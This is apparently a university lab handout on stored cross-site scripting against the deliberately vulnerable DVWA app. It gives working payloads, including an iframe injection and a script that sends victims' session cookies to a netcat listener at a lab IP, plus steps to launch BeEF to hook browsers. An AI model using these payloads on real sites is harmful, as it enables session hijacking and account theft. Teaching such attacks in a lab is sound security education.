Cross Site Scripting Ethical Hacking Lab Exercise
Cross Site Scripting Ethical Hacking Lab Exercise
Introduction
Many websites today are able to make the experience for users much more
enjoyable with the use of dynamic content. These dynamic websites are able to
deliver this experience by tailoring the output to the user. This leads to a much
more functional website and is even easier to update compared to a static
website. However there is a drawback since dynamic websites can be vulnerable
to cross-site scripting attacks.
The following diagram illustrates how an attacker would be able to upload the
HTML or JavaScript in order to exploit the XSS vulnerability.
Looking at the above diagram we can see how the attack can be carried out. The
attacker would be able to upload the piece of HTML or JavaScript to the
website. Once stored the script then sits and waits until a user will execute it,
simply by visiting a web page for instance. When the user does visit the infected
page, the script will download to the clients’ browser, causing it to do what the
C McLean School of Computing UAD Page 1 514733075.doc
17/03/2021
attacker has coded into the script. It is important to note there are variants to this
broad example however XSS attacks will follow the same theme.
WHAT IS AT STAKE
If XSS is carried out effectively then it can lead to horribly malicious results.
With the use of scripts the attacker can gain unwanted access to a users account
to steal information, jump into sessions or perform a Denial of Service attack.
Acunetix.com has provides a list of attackers achievements to successfully
executing XSS attacks. These include:
Identity theft
Accessing sensitive or restricted information
Gaining free access to otherwise paid for content
Spying on user’s web browsing habits
Altering browser functionality
Public defamation of an individual or corporation
Web application defacement
Denial of Service attacks
From your main PC, run Firefox and access DVWA through the favourites.
Our next step is to confirm whether the page is performing any sort of filtering of the
JavaScript syntax required for our malicious script to work. From the above XSS
string, you can see that we use the angle bracket symbols, < >. These are essential to
JavaScript as they indicate to the browser that it’s reading a line of code, as opposed
to just text.
Without the angle brackets our code won’t be read as JavaScript and so our attack will
fail. Because of this, angle brackets are commonly removed from user supplied input,
or are encoded in such a way that the browser won’t read them as code, such as
HTML entity encoding.
Then examine the web page source. You should see similar to the screenshot
below: -
http://eval.symantec.com/mktginfo/enterprise/white_papers/b-
whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf
As can be seen above, <script> is not displayed - it’s actually being read as part of the
source of the webpage.
Note that the above link was grabbed using the Firefox Add-in (Live HTTP
Headers).
So what can a hacker do with this attack? The next section will illustrate.
Initially, we will examine Stored Cross Site Scripting with the setting at Low.
Browse to http://192.168.1.100/dvwa/login.php
The text and script will be stored on the web server then when users try to access
the web page they will unknowingly download and execute the script.
<script>alert("This is a test")</script>
NOTE
Note that each time a user visits this page, the message box is displayed.
Rather than give the user a message on screen, can we modify the script to
do other (more sinister) things?
<iframe src=http://www.bbc.co.uk></iframe>
After a short while, you should see that this has added our specified web page to
the messages (as shown below).
A malicious user could create their own phishing web site and use this to grab
user details such as username & passwords.
<script>alert(document.cookie)</script>
We will now create a stored attack that will send the cookie to a hackers
machine.
Initially, we must set a listening program on the hackers machine (in this
case, we will use Windows on our main machine – but this can be any valid,
reachable IP address).
<script>new Image().src="http://192.168.1.200/b.php?"+
(document.cookie)</script>
Go back to netcat and you should see the cookie. This valid cookie can
be used in a tool such as cookie editor.
Tutorials
Section 3 :- BEEF
In Kali linux, run a terminal and run beef.
cd /usr/share/beef-xss
./beef
You main machine should now be hooked to beef and you should be able to see the
machine in beef under Kali.
PLAY!